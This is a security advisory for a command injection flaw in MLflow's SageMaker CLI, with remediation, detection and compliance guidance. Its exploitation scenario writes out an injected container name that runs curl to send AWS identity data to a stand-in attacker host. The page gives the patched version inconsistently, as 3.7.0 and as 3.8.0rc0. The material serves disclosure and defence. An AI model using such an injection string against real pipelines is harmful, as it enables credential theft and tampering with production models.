CVE-2025-14287

GHSA-xch3-2f9x-wh9f HIGH
Published March 16, 2026
CISO Take

MLflow users on any version before 3.7.0 deploying to AWS SageMaker are exposed to command injection via unsanitized container image names passed to os.system(). Patch immediately to v3.7.0+ and audit CI/CD pipelines that accept external input for the --container parameter. Until patched, restrict who can invoke MLflow SageMaker CLI commands and treat any container name input from untrusted sources as hostile.

Affected Systems

Package Ecosystem Vulnerable Range Patched
mlflow pip < 3.8.0rc0 3.8.0rc0

Do you use mlflow? You're affected.

Severity & Risk

CVSS 3.1
7.5 / 10
EPSS
0.1%
chance of exploitation in 30 days
KEV Status
Not in KEV
Sophistication
Advanced

Recommended Action

  1. 1) PATCH: Upgrade MLflow to v3.7.0 or later immediately — this is the only full remediation. 2) DETECT: Search logs for anomalous shell metacharacters (;, |, $(), backticks, &&) in MLflow CLI invocations targeting the --container parameter. 3) WORKAROUND (if patch is blocked): Implement input validation at the CI/CD layer rejecting any container image name not matching a strict allowlist pattern (e.g., ^[a-zA-Z0-9_.-/:]+ $). 4) HARDEN: Run MLflow processes under least-privilege IAM roles; ensure no long-lived AWS credentials are present in the execution environment. 5) AUDIT: Review all pipeline configs that pass dynamic values to mlflow sagemaker deploy --container and trace the origin of each value to assess exposure.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity Article 9 - Risk management system
ISO 42001
8.2 - AI risk assessment 8.4 - AI system operation and monitoring A.6.2.6 - Security of AI system
NIST AI RMF
GOVERN-1.7 - Organizational teams are committed to a culture that considers and communicates AI risk MANAGE 2.2 - Mechanisms for tracking and managing AI risks MANAGE-2.2 - Mechanisms to sustain the value of deployed AI with ongoing maintenance
OWASP LLM Top 10
LLM05:2025 - Supply Chain Vulnerabilities LLM06:2025 - Excessive Agency

Technical Details

NVD Description

A command injection vulnerability exists in mlflow/mlflow versions before v3.7.0, specifically in the `mlflow/sagemaker/__init__.py` file at lines 161-167. The vulnerability arises from the direct interpolation of user-supplied container image names into shell commands without proper sanitization, which are then executed using `os.system()`. This allows attackers to execute arbitrary commands by supplying malicious input through the `--container` parameter of the CLI. The issue affects environments where MLflow is used, including development setups, CI/CD pipelines, and cloud deployments.

Exploitation Scenario

An adversary with write access to a Git repository (via compromised developer credentials or a malicious PR) modifies the CI/CD pipeline configuration to pass a crafted container image name such as legitimate-image:latest; curl -s http://attacker.com/$(aws sts get-caller-identity | base64) to the MLflow SageMaker deployment command. When the pipeline triggers, MLflow interpolates the unsanitized string directly into an os.system() call, executing the injected command in the context of the CI runner. The attacker receives AWS caller identity (credentials), then uses them to access S3 model buckets, enumerate SageMaker endpoints, and exfiltrate or replace production model artifacts. No user interaction beyond the normal pipeline execution is required.

CVSS Vector

CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Timeline

Published
March 16, 2026
Last Modified
March 17, 2026
First Seen
March 16, 2026